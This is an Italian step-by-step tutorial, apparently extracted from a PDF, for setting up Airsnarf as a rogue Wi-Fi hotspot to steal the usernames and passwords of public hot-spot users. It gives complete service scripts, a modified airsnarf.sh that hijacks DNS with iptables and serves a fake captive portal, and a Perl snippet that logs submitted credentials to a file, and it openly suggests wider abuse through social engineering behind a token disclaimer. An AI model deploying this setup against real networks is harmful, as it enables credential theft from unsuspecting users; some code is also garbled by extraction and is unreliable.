In questo tutorial verrà spiegato come configurare al 100 % Airsnarf. Mah...Cos è Airsnarf??? Airsnarf è stato sviluppato e rilasciato per dimostrare la vulnerabilità intrinseca degli hot-spot. Airsnarf è stato sviluppato e rilasciato per dimostrare la vulnerabilità intrinseca degli hot-spot. E quindi, una banale wireless utility che permette all Eavesdropper di carpire le credenziali di accesso (user e pwd) di utenti che fanno uso di hot-spot pubblici. (Naturalmente l uso che se ne può fare è ben più ampio se usiamo un po di immaginazione e Social Engineering!) 1. Prima di tutto creiamo due cartelle, chiamate html e dhcp, nei rispettivi percorsi: html ----> /var/www/ dhcp ----> /var/state/ 2. Ora apriamo un editor di testo (nano, vi, kate, kedit, ecc ) e creiamo il file rc.httpd e vi copiamo all interno il seguente source code: #!/bin/sh # Start/stop/restart the Apache web server. conffile=/etc/httpd/httpd.conf function start() { if grep -q "^Include /etc/apache/mod_ssl.conf" $conffile ; then /usr/sbin/apachectl startssl else 1 / 6
/usr/sbin/apachectl start fi function stop() { /usr/sbin/apachectl stop function restart() { /usr/sbin/apachectl restart # See how we were called. case "$1" in start) start stop) stop restart) restart *) echo "usage $0 start stop restart" esac 3. Ora riapriamo l editor di testo (nano, vi, kate, kedit, ecc ) e creiamo il file rc.dhcpd e vi copiamo all interno il seguente source code: #!/bin/sh # Start/stop/restart the Samba SMB file/print server. dhcpd_start() { if [ -x /usr/sbin/dhcpd -a -r /etc/dhcpd.conf ]; then echo "Starting Dhcp..." /usr/sbin/dhcpd -cf /etc/dhcpd.conf ath0 fi dhcpd_stop() { killall dhcpd dhcpd_restart() { dhcpd_stop sleep 2 dhcpd_start 2 / 6
case "$1" in 'start') dhcpd_start 'stop') dhcpd_stop 'restart') dhcpd_restart *) # Default is "start", for backwards compatibility with previous # Slackware versions. This may change to a 'usage' error someday. dhcpd_start esac NOTA BENE: al posto di ath0 dovrete inserire il nome della vostra periferica wifi, che si trova dando il comando iwconfig da bash. 4. Entrambi i file andranno copiati nella seguente directory: /etc/rc.d/ 5. Ora che siamo nella directory /etc/rc.d/ ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (F4) e digitiamo: chmod 755 /etc/rc.d/rc.httpd e poi chmod 755 /etc/rc.d/rc.dhcpd 6. Adesso andiamo in /pentest/wireless/airsnarf-0.2 e apriamo Airsnarf con un editor di testo. Sostituiamo il contenuto del file con il seguente source code: #!/bin/bash # airsnarf.sh # A rogue AP setup utility. echo "Airsnarf - A rogue AP setup utility." echo "0.2" echo "The Shmoo Group" echo "------------------------------------" # here are some variables you may want to edit WWW_ROOT="/var/www/html" CGI_ROOT="/var/www/cgi-bin" LOCAL_CFG="./cfg" 3 / 6
# specify another config dir with a command line arg if you want if [ $1 ] then LOCAL_CFG="$1" fi source $LOCAL_CFG/airsnarf.cfg # create the dhcpd.conf echo -n "Creating dhcpd.conf..." sed s/airsnarf/$rogue_net/g./etc/dhcpd.src > /etc/dhcpd.conf # copy over the www stuff echo -n "Building the captive portal..." cp $LOCAL_CFG/html/* $WWW_ROOT cp $LOCAL_CFG/cgi-bin/* $CGI_ROOT chmod +x $CGI_ROOT/* # set our wireless parameters echo -n "Setting the wireless parameters..." ifconfig $ROGUE_INTERFACE down wlanconfig $ROGUE_INTERFACE destroy wlanconfig $ROGUE_INTERFACE create wlandev wifi0 wlanmode ap ifconfig $ROGUE_INTERFACE up iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master # set our ip and default route echo -n "Setting the ip address and default route..." ifconfig $ROGUE_INTERFACE $ROGUE_GW route add -net 0.0.0.0 gw $ROGUE_GW # restart some services /usr/sbin/dhcpd -cf /etc/dhcpd.conf /usr/sbin/apachectl restart #/etc/init.d/sendmail restart # set up the firewall to redirect echo -n "Setting up firewall to redirect DNS..." echo 1 > /proc/sys/net/ipv4/ip_forward modprobe iptable_nat iptables -F -t nat iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to $ROGUE_GW # dammit, I swear this used to work with just an OUTPUT rule... iptables -t nat -A OUTPUT -p udp --dport 53 -j DNAT --to $ROGUE_GW # start the local dns resolver 4 / 6
echo "Starting local DNS resolver..." chmod +x./bin/airsnarf_dns.pl./bin/airsnarf_dns.pl 7. Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg e apriamo Airsnarf.cfg con un editor di testo. Sostituiamo il contenuto del file con il seguente source code: ROGUE_SSID="Nome Hot-Spot" ROGUE_NET="192.168.1." ROGUE_GW="192.168.1.254" ROGUE_INTERFACE="ath0" #export ROGUE_SSID ROGUE_NET ROGUE_GW ROGUE_INTERFACE NOTA BENE: Al posto di ath0 dovrete inserire il nome della vostra periferica wifi, che si trova dando il comando iwconfig da bash. 8. Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg/cgi-bin e apriamo Airsnarf.cgi con un editor di testo. Cerchiamo la serie di righe di codice che iniziano con "$mailprog = '/usr/sbin/sendmail';" e finiscono con "close(mail);" e le commentiamo col carattere # oppure le cancelliamo. E subito dopo vi copiamo il seguente source code: open (MYFILE, '>>/tmp/airsnarf_pwds.txt'); foreach $key (keys(%form)) { print MYFILE "$key = $FORM{$keyn"; print MYFILE "----------------------n"; ; 5 / 6
9. Ora basterà che apriate una shell, andiate in /pentest/wireless/airsnarf-0.2/ e lanciate airsnarf. NOTA BENE: Una volta avviato airsnarf aspettiate che compaia la scritta Waitintg for connections e terminate airsnarf. Andate in /var/www/html e copiatevi tutti i file contenutivi, una volta fatto questo incollate tutti i file qui: /var/www/htdocs. 10. ORA POTRETE FARE TUTTI I TEST DEL CASO! L autore del presente articolo non si assume nessuna responsabilità nel caso i contenuti sopracitati vengano usati per atti criminali e facinorosi. 6 / 6